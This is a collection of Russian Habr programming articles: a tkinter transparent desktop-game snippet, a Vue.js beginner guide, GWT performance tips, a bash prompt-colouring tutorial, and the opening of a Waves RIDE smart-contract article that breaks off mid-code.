РезультатНеобычная игра
--------------
Скептик скажет "Питон не для игр, а tkinter так уж тем более". И я с этим скептиком от части согласен, tkinter НЕ для игр, для игр лучше pygame, а вот для "десктопных" игр это самое простое и единственное мне известное решение. Под "десктопной" игрой я подразумеваю игру, которая отрисовывается поверх всех окон, прямо на рабочем столе. В этом примере пиксельный человечек прыгает по окнам, это просто пример.
Как работает отрисовка поверх экрана в tkinter? Создаётся полноэкранное белое окно, на нём создаётся белый canvas, на canvase отрисовывается графика и всё белое заменяется прозрачным. Цвет не обязательно должен быть белым. В подобных играх также следует использовать keyboard, а именно функцию is\_pressed() для проверки нажатия клавиш.
```
import tkinter as tk
import keyboard
FORM = tk.Tk()
def Update(e = None):
# Ваш игровой цикл
FORM.after(int(1000/FPS),Update)
FPS = 60
CANVAS = tk.Canvas(FORM,bg = 'white',bd = 0,highlightthickness = 0)
CANVAS.place(x=0,y=0,width = FORM.winfo_screenwidth(),height = FORM.winfo_screenheight())
FORM.overrideredirect(True)
FORM.state('zoomed')
FORM.wm_attributes("-topmost", True)
FORM.wm_attributes("-transparentcolor", "white")
FORM.after(int(1000/FPS),Update)
FORM.mainloop()
```
Я также напишу статью про создание "десктопной" игры в скором времени. | https://habr.com/ru/post/682072/ | null | ru | null |
# Vue.js и как его понять
В своей работе, мне относительно недавно пришлось столкнуться с фреймворком Vue.js, т.к. до этого, я занимался в основном backend разработкой, пришлось со многим разбираться и многое было сложновато понять, особенно, когда раньше использовал только jQuery. В рамках данной статьи, я хочу помочь своему читателю разобраться с теми проблемами в понимании, с которыми столкнулся я. Конечно проблемы на этапе изучения чего-то нового у всех возникают разные, но и не мало тех, у кого они будут похожи, именно на это и будет направлена данная статья.
Я не буду проводить сравнение данного фреймворка с другими, думаю, что по этому поводу в интернете информации хватает, попытаемся разобраться именно с Vue.js и с “чем его едят?!”. В данном контексте будут рассматриваться примеры для сборки с помощью webpack или подобным системам. Примеры компонентного взаимодействия будут на примере однофайловых компонентов, поскольку они немного проще в понимании. Однако, принципы взаимодействия однофайловых и многофайловых компонентов ничем особо не отличаются.
### Рассматриваемые аспекты
* Разберемся в областях видимости переменных внутри одного и нескольких компонентов.
* Рассмотрим возможности передачи переменных между компонентами.
* Разберемся с общим взаимодействием компонентов друг с другом.
Итак, первое с чем приходится столкнуться новичкам и испытать определенные сложности — это не jQuery, и работает он иначе. Vue предоставляет реактивные связки своих переменных внутри компонентов и при взаимодействии с другими компонентами, что открывает существенно новые возможности. Да на jQuery это все можно организовать тоже, но более “толстым” кодом и кучей обработчиков, в которых можно запутаться. Если разобраться с Vue, на нем все это делается гораздо проще.
Сразу дам небольшой совет: “Не нужно пытаться провести аналогии написанного с jQuery!”, чем больше будет попыток провести аналогию, тем больше будет путаницы и непонимания.
### Области видимости переменных
В официальной документации, конечно есть вся необходимая информация, но с ней сложновато разобраться, пока не попробуешь и не разберешься сам. Я попробую облегчить этот процесс.
В любом компоненте Vue имеется набор данных называемых “props”. Это объект содержащий в себе те данные, которые могут быть определены при вызове компонента или иметь значение по умолчанию.
Пример объявления свойств компонента:
```
/**------**/
props: {
uuid: {
type: String,
default: '',
},
},
/**------**/
```
В данном примере, мы указываем, что в нашем компоненте есть некий uuid, который является строкой и по умолчанию он является пустой строкой.
Кроме этого, в компоненте содержится объект data{}, который выполняет взаимодействие нашего компонента, с какими-либо другими, которые мы можем использовать в своем. В Vue является нормальной практикой, когда один компонент, может в себе совмещать несколько других, для их объединения. data, часто объявляется как функция, такую практику вы встретите наиболее часто на форумах и сообществах, обсуждающих реализацию на Vue
```
/**------**/
data() {
return {
dialog: false,
indeterminate: false,
loading: false,
notifications: false,
sound: true,
widgets: false,
}
},
/**------**/
```
Как видите, объект data не задает типы переменных, а сразу присваиваются значения. В своем приложении, мы можем менять это значение по определенным событиям, а в свою очередь другие компоненты вызванные в нашем, будут отслеживать изменение этих переменных и определенным образом реагировать на них. Это и будет реактивная связка компонентов с определенными переменными.
Кроме этого, в общем объекте компонента задаются методы (функции), для работы с этими переменными и событиями внутри компонента. В зависимости от того, где они вызываются, они должны располагаться в определенных объектах. Более подробно, про них, вы можете ознакомиться в официальной документации, там вопросов вроде бы не возникает. Мы же говорим об области видимости. Поэтому рассмотрим пример:
```
Внимание
{{ alertMessage }}
```
В данном примере, мы в своем компоненте создаем шаблон, в котором вызываем компонент [Vuetify dialog](https://vuetifyjs.com/en/components/dialogs#introduction)
Для работы с ним, на понадобится модель **alert**, которая будет указывать на то открыто ли это окно сейчас или закрыто (соответственно true или false), а так же переменная **alertMessage** — которая будет в себе нести сообщение об ошибке или предупреждении. Каждому свойству, например color или max-width мы можем задать переменные, которые должны находиться в объекте **data(){}**, и с помощью своих методов изменять их. Но для простоты ограничимся двумя. Итак для управления этими свойствами, мы должны правильно распределить объекты внутри скрипта компонента.
```
export default {
data() {
return {
/\*\*------------\*\*/
alert: false,
alertMessage: 'У вас нет прав на это действие',
}
},
methods: {
deleteObject() {
axios.delete(‘http: //example.com/’)
.then(response => {
/\*\* ------- \*\*/
})
.catch(error => {
this.alert = true;
this.alertMessage = “Что - то пошло не так”;
});
},
},
/\*\*----------\*\*/
```
На данном примере видно, что у нас есть некий метод **deleteObject()**, заданный в объекте **methods**, который делает запрос на удаление чего-то на сайте example.com, каким то образом обрабатывает ответ, а в случае провала выбрасывает исключение, в котором, уже мы вызываем наш компонент диалог, присваивая переменной **alert** значение true и присваиваем сообщение, которое будет выведено в шаблоне. Теперь обратите внимание, что в шаблоне, мы обращаемся к переменным в дате напрямую, просто указывая их название, а в методах, через объект **this**. Все методы, где бы они не были заданы, если они работают с **data**, они используют эти переменные через **this**. Если один метод, должен вызывать какой-то другой, определенный в объекте **methods**, он тоже вызывается через this.methodName().
Также обратите внимание на обработчик события клика в шаблоне:
```
```
Здесь можно без метода изменить значение переменной **alert** в **data**, и поскольку она реактивно связана с моделью — компонент сразу отреагирует на ее изменение.
В данном случае, тем кто привык работать с классическими объектами можно запутаться, потому что связь выглядит немного нелогичной. Но на самом деле, никакой магии здесь нет. Когда мы вызываем экземпляр класса Vue и подключаем туда компоненты, он их интерпретирует через собственные объекты внутри js-фреймворка, именно поэтому у него образуется некое подобие собственной области видимости.
### Передача данных между компонентами
Часто из нашего компонента, мы должны управлять состоянием других компонентов, вызванных внутри нашего. Как я уже писал выше, для этого существует объект `props`, а передача осуществляется путем присвоения этого значения, либо с помощью нашей переменной в data либо сразу присвоением значения этому свойству.
В нашем же примере, который я использовал выше уже это есть, для удобства, я продублирую его снова, и постараюсь объяснить:
```
Внимание
{{ alertMessage }}
```
Возьмем для примера, встроенный в наш шаблон компонент
```
,
```
В котором объявлено свойство **color**. Именно это свойство должно быть задано внутри скриптов компонента . В данном примере, мы присвоили ему определенное значение. Но мы его можем менять. Если нам требуется его динамически изменять, мы можем забиндить слежение этого свойства за нашей переменной, тогда в шаблон немного изменится:
```
,
```
В объекте data, мы должны объявить эту переменную, тогда мы сможем ее изменять методами нашего компонента, указанными в объекте methods:
```
export default {
data() {
return {
/\*------\*/
toolbarColor: ’primary’,
}
},
/\*\* --- \*\*/
```
Теперь мы можем объявить метод, и изменять переменную **toolbarColor** внутри него, используя конструкцию this.toolbarColor = “Значение”, и компонент будет на нее реагировать.
Таким образом, мы можем передавать значения в дочерние компоненты.
Для обратной связи, т.е. из дочернего компонента получить данные в родительский используются другие, чуть более сложные конструкции. В Vue есть встроенные методы, для этого, они хорошо описаны в официальной документации Vue, по [ссылке](https://ru.vuejs.org/v2/guide/components.html#%D0%9F%D0%BE%D0%BB%D1%8C%D0%B7%D0%BE%D0%B2%D0%B0%D1%82%D0%B5%D0%BB%D1%8C%D1%81%D0%BA%D0%B8%D0%B5-%D1%81%D0%BE%D0%B1%D1%8B%D1%82%D0%B8%D1%8F),
поэтому я не буду подробно останавливаться на них. Проблема в том, что это не всегда удобный способ, и когда вы его подробно изучите, то сами убедитесь в этом. Он, так сказать, применим не во всех случаях.
Есть еще один хороший способ, использование библиотеки Vuex, которая создает некое хранилище для общих переменных, для управления состоянием приложения. На ней я тоже не буду подробно останавливаться, потому что, если вы поймете логику взаимодействия переменных внутри методов компонента и других компонентов, разобраться с Vuex, не должно составить труда. Кроме того, у них есть хорошая [русскоязычная документация](https://vuex.vuejs.org/ru/).
Для работы с Vuex, я прошу обратить особое внимание на то, как она правильно устанавливается, и что для доступа к данным, вам как минимум нужно использовать Мутации и Геттеры. Про них советую прочитать наиболее подробно. Я сначала пытался бегло понять суть и приступить к программированию, но столкнулся с множеством непонятных мне, на тот момент, проблем. Поэтому этим разделам уделите особое внимание.
Я обращу ваше внимание на саму систему взаимодействия. Она немного отличается от стандартного взаимодействия внутри Vue. Это как раз то, что я сначала упустил, а потом потратил много времени, чтобы разобраться. Возьму [пример](https://vuex.vuejs.org/ru/getters.html) из официальной документации:
```
const store = new Vuex.Store({
state: {
todos: [
{ id: 1, text: '...', done: true },
{ id: 2, text: '...', done: false }
]
},
getters: {
doneTodos: state => {
return state.todos.filter(todo => todo.done)
}
}
})
```
Здесь, мы объявляем сам **store** и **getters** методы для него. Обратите внимание, что метод внутри getters задан не совсем стандартно, но еще более нестандартно его использование в своем компоненте. В нашем компоненте, если мы хотим использовать переменную из **store**, мы должны вызвать ее с помощью новых переменных, и метод будем вызывать не как метод, а как свойство объекта **store**
```
this.$store.getters.doneTodos;
```
И никаких скобок, поскольку это метод, который вернет готовый объект, он и вызывается как просто свойство объекта **getters** внутри **$store**.
С мутациями немножкуо проще, там сразу написано, что нужно использовать comit('methodName', ПЕРЕДАВАЕМЫЕ\_В\_МЕТОД\_ПЕРЕМЕННЫЕ).
Более подробно про мутации [здесь](https://vuex.vuejs.org/ru/mutations.html).
### Заключение
Мы познакомились с областью видимости переменных внутри компонентов, узнали способы обмена данными между компонентами, отсюда уже должно сложиться общее понимание о взаимодействии компонентов друг с другом в Vue.js. От себя скажу, что система достаточно гибкая, и уже существует множество готовых компонентов и библиотек, расширяющих возможность Vue. Каждый желающий может присоединиться к развитию этой системы и облегчать жизнь другим разработчикам. Компонентная система позволяет легче обслуживать код, соединять готовые компоненты внутри других, и не дублировать код, что приближает нас к способом “красивой” разработки. Новичкам желаю терпения и успеха, в познании новых для себя областей.
#### P.S.
Ниже я добавил ссылки, с которых я использовал материалы для написания статей и примеров. Для библиотеки Vuetify я напишу две ссылки, на англоязычную и на русскоязычную документацию, поскольку русскоязычная на момент написания статьи переведена не полностью, и в ней может чего-то не быть. Но в англоязычной, вы сможете найти все что нужно знать об этой библиотеке. По работе с данной библиотекой, могу написать более подробно, если будут вопросы по ней или что-то станетне понятно.
### Ссылки:
[Русскоязычная документация по фреймворку Vue.js](https://ru.vuejs.org/v2/guide/)
[Русскоязычная документация по библиотеке Vuex](https://vuex.vuejs.org/ru/)
[Англоязычная документация по Vuetify](https://vuetifyjs.com/en/getting-started/quick-start)
[Русскоязычная документация по Vuetify](https://vuetifyjs.com/ru/getting-started/quick-start) | https://habr.com/ru/post/351882/ | null | ru | null |
# Высокопроизводительный GWT. Часть 1
Данный пост является началом серии статей про оптимизацию и улучшение производительности GWT-приложений. Поскольку материала у меня накопилось достаточно много, решил разбить его на 2-3 части.
Приступим к описанию того, что нас ждёт в первой статье.
#### Рассматриваемые вопросы
В первой части цикла статей об оптимизации GWT-приложений я расскажу про следующие вещи:
* Разделение клиентского кода, on-demand загрузка
* Избавление от использования тяжелых классов на клиенте
* Кэширование ресурсов
* Проблемы производительности GWT RPC, использование REST
* Особенности влияния layout на работу приложения
* Оптимизация передаваемых данных
* Использование Scheduler
* Использование диспетчеров для агрегации запросов к серверу
А теперь подробно о каждом из упомянутых пунктов.
#### Разделение клиентского кода, on-demand загрузка
В GWT есть встроенный механизм, позволяющий разработчику «разрезать» приложение на части. Нужно это, в первую очередь, для следующих целей:
* Уменьшение первоначального размера загружаемых данных
* Использование принципа отложенной загрузки — необходимые данные будут загружены приложением по мере необходимости
Для того, чтобы разделить клиентский код на части, используется вызов метода GWT.runAsync.
Пример использования runAsync:
````
GWT.runAsync(new RunAsyncCallback() {
public void onSuccess() {
new MySettingsDialog().show();
}
public void onFailure(Throwable ohNoes) {
// indicate that something went wrong,
// usually a connectivity or server problem
}
});
````
При этом компилятор GWT берёт на себя обязанность не только произвести работу по разделению клиентского кода, но также проанализировать, как необходимо кластеризовать код. Гарантируется, что разделение будет корректным. Однако, разделения может и не произойти. Причиной этому могут быть перекрёстные ссылки в коде.
В презентации GWT Can Do What с Google I/O можно увидеть сравнение скорости загрузки приложения до и после разрезания его на части с использованием runAsync:
Таким образом, использование runAsync серьёзно может уменьшить первоначальное время загрузки приложения и уменьшить количество передаваемых на клиент данных.
Стоит обратить внимание и на класс AsyncProxy. Вероятно, приведу его описание во второй части статьи, сейчас можно ознакомиться с ним по его [документации](http://google-web-toolkit.googlecode.com/svn/javadoc/2.0/com/google/gwt/user/client/AsyncProxy.html).
#### Избавление от использования тяжелых классов на клиенте
На странице группы Google Web Toolkit можно найти [дискуссию](http://groups.google.com/group/google-web-toolkit/browse_thread/thread/431a4893c2faca7d/33dc61d0f7329f95?hl=en&lnk=gst&q=ways+to+reduce#33dc61d0f7329f95) о способах уменьшения размера компилируемого GWT-приложения. В частности отмечается подход, заключающийся в отказе от использования «тяжёлых» классов на стороне клиентов, влекущих включение большого количества кода на клиентскую часть.
В первую очередь, можно привести в пример использование Comparator на клиенте. Использование его влечёт за собой включение в клиентскую часть ~10 Кб кода связанных с ним классов.
Использование RequestFactory приводит к ещё большему увеличению клиента — в упомянутой выше дискуссии клиентская часть увеличилась на 150 Кб.
Стоит также быть внимательным в случае использования внешних модулей — вполне возможно, что их включение в проект повлечёт за собой существенное увеличение клиентской части за счёт добавления множества других классов.
#### Кэширование ресурсов
HTTP запросы со стороны клиента являются существенными ограничениями производительности клиентской части приложения. В случае, если приложение будет запрашивать отдельно каждый ресурс, плата за загрузку всех ресурсов будет большой.
Для предотвращения замедления клиентского приложения используется подход, связанный с кэшированием ресурсов.
В GWT есть механизм, названный ClientBundle. ClientBundle кэширует различные типы ресурсов (текстовые, графические, CSS и другие). Прочитать про ClientBundle можно по [ссылке](http://code.google.com/webtoolkit/doc/latest/DevGuideClientBundle.html).
Преимущества подхода, применяемого в ClientBundle:
* Необходимый ресурс будет загружен один раз вместо того, чтобы загружаться каждый раз по мере его использования
* Суммарный объём хранимых ресурсов будет меньше
Как работает минимизация хранения ресурсов в случае ClientBundle?
Вернёмся к презентации GWT Can Do What. В ней мы можем увидеть следующую иллюстрацию:
Таким образом, уменьшается overhead для хранения однотипных данных.
Как в результате может уменьшиться объем ресурсов?
#### Проблемы производительности GWT RPC, использование REST
GWT RPC является действительно удобным средством. Обеспечивая интерфейс организации клиентского и серверного кода для сервиса, имея поддержку со стороны средств IDE, он является одной из удивительных особенностей построения AJAX-приложений в GWT. Однако стоит задуматься, подходит ли он вам.
Основными недостатки в случае использования GWT RPC могут служить добавление слишком большого количества избыточных данных в запрос и сложность отладки.
В качестве решения этих проблем можно отметить использование REST. В [статье](http://www.zackgrossbart.com/hackito/gwt-rest/) от Zack Grossbart можно найти пример использования REST для GWT-проектов.
При этом в его [статье](http://www.zackgrossbart.com/hackito/antiptrn-gwt2/) 4 More GWT Anti-patterns отмечаются основные преимущества REST:
* REST вынуждает разработчика задумываться об API. API может также предоставляться внешним сервисам и приложениям, добавляя дополнительное удобство и функциональность для взаимодействия
* Удобство тестирования
* Чёткое разделение клиента и сервера
#### Особенности влияния layout на работу приложения
Очень часто gwt-разработчики используют автоподстраиваемый layout. Примерами тому может служить применение в компонентах height=«100%». Стоит сказать, что сontentHeight, offsetHeight — операции тяжеловесные. Ниже приведена статистика времени выполнения операции offsetHeight в IE, взятая из презентации Measure in Milliseconds с Google I/O 2009:
Мало того, что результат выполнения операции плохо предсказуем; его пиковое значение для 18 замеров достигло значение порядка 85 мс.
Определённое время занимает полная обработка resize event. Зачастую, операция изменения размеров в случае forced layout занимает время в несколько раз большее, чем style recalculation.
Как же можно избавиться от данной проблемы? Необходимо использовать CSS. Layout, определённый с помощью CSS, будет отрисовываться гораздо быстрее, лишив нас необходимости вызова для всей DOM-иерархии компонентов выполнение тяжеловесных методов, таких как offsetHeight.
Можно использовать обновлённый DockPanel, не использующий javaScript во время опрации resize.
Крайне не рекомендуется создавать и хранить большие деревья вложенных виджетов. Виджеты имеют дополнительный overhead, негативно сказывающийся на используемой памяти и размере клиента (как следствие, и на скорости). В качестве решения можно использовать HTMLPanel. Для отслеживания количества виджетов на страницах существует инструмент InspectorWidget. О свойствах плагина можно узнать на его [странице](https://addons.mozilla.org/ru/thunderbird/addon/inspectorwidget/).
#### Оптимизация передаваемых данных
Между клиентом и сервером постоянно передаются сериализуемые объекты. Разработчик должен спросить себя — действительно ли передаются лишь самые необходимые данные? Большие графы объектов, вложенные подобъекты и ненужные наборы параметров отнимают драгоценное время и создают лишнюю нагрузку. Передавайте лишь то, что нужно на клиенте. Зачастую — лишь то, что увидит пользователь. Всё необходимое можно будет получить в случае необходимости в данных. Разумеется, этот подход не должен противоречить политике кэширования ресурсов на клиентской стороне.
#### Использование Scheduler
В GWT есть механизм отложенных вызовов. Ранее он назывался DeferredCommand, но был объявлен deprecated. Теперь механизм носит название Scheduler.
Scheduler фактически предоставляет собой класс для асинхронного выполнения некого действия. Гарантируется, что действие будет выполнено после окончания event loop браузера.
Преимущества:
* Не блокирует поток выполнения
* Даёт возможность сначала завершиться всем UI событиям
Довольно часто Scheduler применяется при позднем построении некоторых объектов. Однако его грамотное использование будет в некоторых случаях делать UI приложения более быстрым за счёт больше приоритизации событий UI.
#### Использование диспетчеров для агрегации запросов к серверу
Каждый вызов к серверу накладывает некую задержку выполнения. Если мы имеем необходимость делать частые множественные вызовы к серверу, можно агрегировать их в некие batch-единицы.
Начиная с версии 2.3, в GWT появилась возможность с использованием RequestFactory:
````
requestContext.method1().to(new Receiver(){...});
requestContext.method2().to(new Receiver(){...});
requestContext.fire(new Receiver(){...}); //called only 1
````
Преимущества такого подхода очевидны — существенно сокращается количество вызовов, и, как следствие, задержка выполнения.
В случае, если мы можем кэшировать ответы сервера — можно использовать кэширующие диспетчеры. Узнать об их использовании можно перейдя по [ссылке](http://turbomanage.wordpress.com/2010/07/12/caching-batching-dispatcher-for-gwt-dispatch/).
#### В заключение
GWT — мощный инструмент, позволяющий создавать отличный кроссбраузерный интерфейс и широко применяемый уже и за пределами Google. Тем не менее, часть наиболее его удобных инструментов накладывают серьёзные ограничения на производительность приложения. Необходимо тщательно оптимизировать скорость работы приложения, чтобы пользователи также оставались довольны работой с ним.
В следующей статье я планирую продолжить рассказывать об особенностях улучшения производительности и оптимизации GWT-приложений. В частности, будут рассмотрены способы улучшения скорости работы GWT RPC, JS Shrink, особенности применения нативного кода на клиенте, советы для уменьшения размера скрипта; также планируется рассказать об оптимизации скорости компиляции и дать некоторые советы при вёрстке интерфейса.
Спасибо за внимание!
Полезные ресурсы:
1. [static.googleusercontent.com/external\_content/untrusted\_dlcp/www.google.com/en//events/io/2011/static/presofiles/drfibonacci\_devtools\_high\_performance\_gwt.pdf](http://static.googleusercontent.com/external_content/untrusted_dlcp/www.google.com/en//events/io/2011/static/presofiles/drfibonacci_devtools_high_performance_gwt.pdf)
2. [dl.google.com/io/2009/pres/W\_1115\_GWTCanDoWhat.pdf](http://dl.google.com/io/2009/pres/W_1115_GWTCanDoWhat.pdf)
3. [dl.google.com/io/2009/pres/W\_1230\_MeasureinMilliseconds-PerformanceTipsforGoogleWebToolkit.pdf](http://dl.google.com/io/2009/pres/W_1230_MeasureinMilliseconds-PerformanceTipsforGoogleWebToolkit.pdf)
4. [turbomanage.wordpress.com/2010/07/12/caching-batching-dispatcher-for-gwt-dispatch](http://turbomanage.wordpress.com/2010/07/12/caching-batching-dispatcher-for-gwt-dispatch/)
5. [www.zackgrossbart.com/hackito/antiptrn-gwt](http://www.zackgrossbart.com/hackito/antiptrn-gwt/)
6. [www.zackgrossbart.com/hackito/antiptrn-gwt2](http://www.zackgrossbart.com/hackito/antiptrn-gwt2/)
7. [www.zackgrossbart.com/hackito/gwt-rest](http://www.zackgrossbart.com/hackito/gwt-rest/)
8. [habrahabr.ru/blogs/gwt/99614](http://habrahabr.ru/blogs/gwt/99614/) | https://habr.com/ru/post/132996/ | null | ru | null |
# Ёлочка в командной строке
*Скоро Новый Год, думать о серьёзной работе уже не хочется.
Все стараются что-нибудь украсить к празднику: дом, офис, рабочее место… Давайте и мы что-нибудь украсим! Например, приглашение командной строки. В какой-то мере командная строка – тоже рабочее место.
В некоторых дистрибутивах она уже «украшена»:
В других – она серая и неприметная:
А мы можем сделать, например, вот так:
Конечно, на вкус и цвет все фломастеры разные. Если подобная раскраска кажется вам аляповатой и неуместной, то знайте, что данная точка зрения имеет полное право на жизнь. А если вам тоже хочется добавить немного новогоднего настроения, читайте далее небольшую новогоднюю статью от Cloud4Y.*
Для начала поясню, как «раскрашивается» вывод терминала. Делается это при помощи escape-последовательностей. А если точнее – управляющих кодовых последовательностей терминала ANSI/VT100. Что автоматически означает, что ваш эмулятор терминала должен этот стандарт поддерживать, иначе новогоднего чуда не случится. И да, предполагается, что $SHELL у вас bash.
Escape-последовательностями эти команды называют по той причине, что в начале каждой из них идёт ASCII-символ «escape». Управляющих последовательностей много, и они позволяют, к примеру, выводить настройки терминала, управлять отображением и перемещением курсора, изменять шрифт, удалять и скрывать текст. Мы же из всего разнообразия возможностей выберем одну – изменение цвета текста и фона.
Выполняем кодовую последовательность `*ESC*[{attr1};...;{attrn}m`
В качестве символа *Escape* используется его восьмеричная форма, то есть *\033*. Что касается атрибутов, то вот краткий перечень возможных значений:
**0** Сбросить все атрибуты
**1** Bright (повышенная яркость)
**2** Dim (затемнение)
**4** Underscore (нижнее подчеркивание)
**5** Blink (мигание)
**7** Reverse (инверсия)
**8** Hidden (скрыть текст)
Foreground Colours (цвет пера, этим цветом выводится текст):
**30** Black (черный)
**31** Red (красный)
**32** Green (зеленый)
**33** Yellow (желтый)
**34** Blue (синий)
**35** Magenta (пурпурный)
**36** Cyan (голубой)
**37** White (белый)
Background Colours (цвет бумаги, или цвет фона):
**40** Black (черный)
**41** Red (красный)
**42** Green (зеленый)
**43** Yellow (желтый)
**44** Blue (синий)
**45** Magenta (пурпурный)
**46** Cyan (голубой)
**47** White (белый)
Обратите внимание, если теперь вы скомандуете в терминале: `echo \033[0;31mнекоторый текст\033[0m’`
… то предсказуемо получите на выходе монохромную абракадабру:
Почему? Потому, что надо было задействовать расширенные возможности команды echo. Достаточно добавить один ключик: `echo -e ‘\033[0;31mнекоторый текст\033[0m’`
Теперь вывод будет выглядеть правильно:
С раскраской вывода на терминал разобрались. Теперь давайте посмотрим, как раскрасить приглашение командной строки.
Это делается через изменение переменной PS1. Переменная отвечает за приглашение командной строки. Её внешний вид также можно изменять, в том числе при помощи escape-последовательностей. Но есть небольшое отличие: начинать последовательность нужно символом “*\[*”, а завершать символом “*\]*”, иначе она будет выведена на терминал.
Все возможные командные последовательности подробно изложено в мануале по bash, так что я предлагаю читателям самостоятельно выбрать, что им больше нравится наблюдать в приглашении командной строки. В качестве примера приведу своё значение переменной PS1:
`\[\033[34;1m\]\t\[\033[0m\],\[\033[32m\]\u@\l@\h\[\033[0m\]:\[\033[33m\]\W\[\033[0m\],\[\033
[31m\]\!\[\033[0m\]\$\n`
Расшифрую это страшное заклинание:
**\[\033[34;1m\]** — включаем ярко-синий (второй атрибут) цвет шрифта
**\t** – выводим текущее время в формате ЧЧ: ММ: СС
**\[\033[0m\]** – сброс настроек цвета шрифта
**,** — просто запятая (неожиданно, правда?)
**\[\033[32m\]** — включаем зелёный цвет шрифта
**\u@\l@\h** – выводим имя пользователя, номер терминального устройства и краткое имя хоста, разделяя символом “@”
**[\033[0m\]** — снова сбрасываем настройки цвета шрифта
**:** — просто двоеточие (внезапно!)
**\[\033[33m\]** — включаем жёлтый цвет шрифта
**\W** – выводим имя текущего каталога
**[\033[0m\]** — опять сбрасываем настройки цвета шрифта
**,** — ещё одна запятая (кто бы мог подумать!)
**\[\033[31m\]** — включаем красный цвет шрифта
**\!** — выводим номер команды в терминале
**[\033[0m\]** — не забываем сбросить настройки цвета шрифта
**\$** — выводим “#” для root и “$” для всех остальных
**\n** – перевод строки. Зачем? Чтобы команда начиналась с левого края окна, а не с позиции конца приглашения командной строки.
Где переопределить переменную? Логичнее всего это сделать в ~/.bashrc.
Внешний вид приглашения ограничен только вашей фантазией. В принципе, вам ничто не мешает с помощью вышеописанного инструментария сделать приглашение командной строки в виде новогодней ёлочки. Правда, такое приглашение будет очень громоздким, и удобнее работа точно не станет. Ёлочку можно просто выводить над приглашением командной строки при входе в систему (всё равно нам нужно редактировать ~/.bashrc). Дерзайте! И спасибо за внимание.
**Что ещё полезного можно почитать в блоге [Cloud4Y](https://www.cloud4y.ru/?utm_source=habr%5E_%5Eamp%5E_%5Eutm_medium=referral%5E_%5Eamp%5E_%5Eutm_campaign=article)**
→ [Настраиваем top в GNU/Linux](https://habr.com/ru/company/cloud4y/blog/469487/)
→ [Пентестеры на передовой кибербезопасности](https://habr.com/post/471380/)
→ [Стартапы, способные удивить](https://habr.com/ru/company/cloud4y/blog/475790/)
→ [Нужны ли в ЦОД подушки?](https://habr.com/ru/company/cloud4y/blog/479876/)
→ [Дом, который построил робот](https://habr.com/post/479876/)
Подписывайтесь на наш [Telegram](https://t.me/cloud4y)-канал, чтобы не пропустить очередную статью! Пишем не чаще двух раз в неделю и только по делу. Также напоминаем, что корпоративный облачный провайдер Cloud4Y запустил акцию «Облако ФЗ-152 по цене обычного». Подать заявку можно [до 31 декабря](https://bit.ly/362q6J4).
 | https://habr.com/ru/post/480788/ | null | ru | null |
# Применение смарт-аккаунтов Waves: от аукционов до бонусных программ
*Блокчейн часто ассоциируется лишь с криптовалютами, но области применения технологии DLT значительно шире. Одно из самых перспективных направлений для применения блокчейна – смарт-контракт, выполняющийся автоматически и не требующий доверия между сторонами, его заключившими.*
**RIDE – язык для смарт-контрактов**
Waves разработала специальный язык для смарт-контрактов – RIDE. Его полная документация находится [здесь](https://docs.wavesplatform.com/en/technical-details/waves-contracts-language-description.html). А вот – [статья на эту тему](https://habr.com/post/424111/) на Хабре.
Контракт на RIDE является предикатом и возвращает на выходе «true» или «false». Соответственно, транзакция либо записывается в блокчейн, либо отвергается. Смарт-контракт полностью гарантирует исполнение заданных условий. Генерация транзакций из контракта в RIDE на данный момент невозможна.
На сегодня существует два типа смарт-контрактов Waves: смарт-аккаунты и смарт-ассеты. Смарт-аккаунт — это обычный аккаунт пользователя, но для него задается скрипт, контролирующий все транзакции. Скрипт смарт-аккаунта может выглядеть, например, так:
```
match tx {
case t: TransferTransaction | MassTransferTransaction => false
case _ => true
}
```
tx — обрабатываемая транзакция, которую мы разрешаем, используя механизм паттерн-матчинга, только в случае, если она не является транзакцией перевода. Паттерн-матчинг в RIDE используется для проверки типа транзакции. В скрипте смарт-аккаунта могут быть обработаны все существующие [типы транзакций](https://docs.wavesplatform.com/en/technical-details/transactions-structure.html).
Также в скрипте могут объявляться переменные, использоваться конструкции «if-then-else» и другие методы полноценной проверки условий. Чтобы контракты имели доказуемую завершаемость и сложность (стоимость), которую легко предсказать до начала выполнения контракта, RIDE не содержит циклов и операторов типа jump.
Среди других особенностей аккаунтов Waves — наличие «стейта», то есть состояния аккаунта. В стейт аккаунта можно записать бесконечное количество пар (ключ, значение) с помощью дата-транзакций (DataTransaction). Далее эту информацию можно обрабатывать как через REST API, так и напрямую в смарт-контракте.
Каждая транзакция может содержать массив пруфов (proofs), в который можно внести подпись участника, ID необходимой транзакции и т.д.
Работа с RIDE через [IDE](https://ide.wavesplatform.com/) позволяет видеть скомпилированный вид контракта (если он компилируется), создавать новые аккаунты и задать для него скрипты, а также посылать транзакции через командную строку.
Для полноценного цикла, включающего создание аккаунта, установку на него смарт-контракта и отправку транзакций, можно также использовать библиотеку для взаимодействия с REST API (например, C#, C, Java, JavaScript, Python, Rust, Elixir). Для начала работы с IDE достаточно нажать кнопку NEW.
Возможности применения смарт-контрактов широки: от запрета транзакций на определенные адреса («черный список») до сложносоставных dApps.
*Теперь рассмотрим конкретные примеры применения смарт-контрактов в бизнесе: при проведении аукционов, страховании и создании программ лояльности.*
**Аукционы**
Одно из условий успешного проведения аукциона – прозрачность: участники должны быть уверены в невозможности манипуляций ставками. Этого можно достичь благодаря блокчейну, где неизменные данные обо всех ставках и времени, когда они были сделаны, будут доступны всем участникам.
На блокчейне Waves ставки могут записываться в стейт аккаунта аукциона посредством DataTransaction.
Также можно задать время начала и окончания аукциона с помощью номеров блоков: частота генерации блока в блокчейне Waves примерно равна **60** секундам.
***1. Английский аукцион повышающейся цены***
Участники английского аукциона делают ставки, соревнуясь друг с другом. Каждая новая ставка должна превышать предыдущую. Аукцион заканчивается, когда больше нет желающих превысить последнюю ставку. В этом случае участник, сделавший самую высокую ставку, должен предоставить заявленную сумму.
Существует и вариант аукциона, в котором продавец устанавливает минимальную цену лота, и финальная цена должна ее превышать. В противном случае лот остается непроданным.
В этом примере мы работаем с аккаунтом, специально созданным для проведения аукциона. Длительность аукциона составляет 3000 блоков, а начальная цена лота — 0,001 WAVES. Участник может сделать ставку, отправив DataTransaction с ключом «price» и значением своей ставки, в пруфы транзакции необходимо добавить публичный ключ и подпись отправителя.
Цена новой ставки должна быть выше, чем текущая цена по этому ключу, и участник должен иметь на счету как минимум [новая\_ставка + комиссия] токенов. Адрес участника должен быть записан в поле «sender» в DataTransaction, а текущая высота блока ставки должна находиться в границах периода аукциона.
Если по итогам аукциона участник назначил самую высокую цену, он может отправить ExchangeTransaction для оплаты соответствующего лота по указанной цене и валютной паре.
```
let startHeight = 384120
